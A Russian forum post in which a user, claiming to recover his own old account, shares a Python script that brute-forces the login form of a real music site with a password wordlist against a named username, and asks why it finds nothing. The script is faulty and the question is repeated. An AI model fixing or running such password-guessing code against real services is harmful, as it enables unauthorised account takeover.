Z
Zarmos
Здравствуйте, форумчане. Хочу вспомнить пароль от своего старого аккаунта. Регался давно.Почту не помню (помню ник). Решил подобрать пароль.
Скрипт работает, но неправильно. В файле lists.txt есть правильный пароль для нового созданного аккаунта, но сообщение "Password found" не выводится. Может я неправильно указал идентификаторы куда вводить username и password ? Инспектирование элемента на странице, которая в переменной url показывает что :
<input id="j_username_page" class="text" name="j_username" type="text"> для логина.
<input id="j_password_page" class="text" name="j_password" type="text"> для пароля.
Где проблема?
Python:
import requests
url = "http://zaycev.net/auth/login.php"
username = "kokushi"
listaPassword = "list.txt"
pwd = []
f = open(listaPassword, "r")
pwd = f.readlines()
f.close()
for i in range(0, len(pwd)):
if pwd[i][len(pwd[i])-1] == '\n':
pwd[i] = pwd[i][0:len(pwd[i])-1]
messaggioDiErrore = "Неверная почта или логин"
for password in pwd:
print("Trying the pass:", password)
parametriDaTestare = { "j_username_page" : username, "j_password_page" : password, "login" : "1" , "badCredentials": 2}
paginaDiAction = requests.post(url, params=parametriDaTestare)
risultato = paginaDiAction.text
if not(messaggioDiErrore in risultato):
print("Password found:", password)
break
Скрипт работает, но неправильно. В файле lists.txt есть правильный пароль для нового созданного аккаунта, но сообщение "Password found" не выводится. Может я неправильно указал идентификаторы куда вводить username и password ? Инспектирование элемента на странице, которая в переменной url показывает что :
<input id="j_username_page" class="text" name="j_username" type="text"> для логина.
<input id="j_password_page" class="text" name="j_password" type="text"> для пароля.
Где проблема?
Последнее редактирование модератором: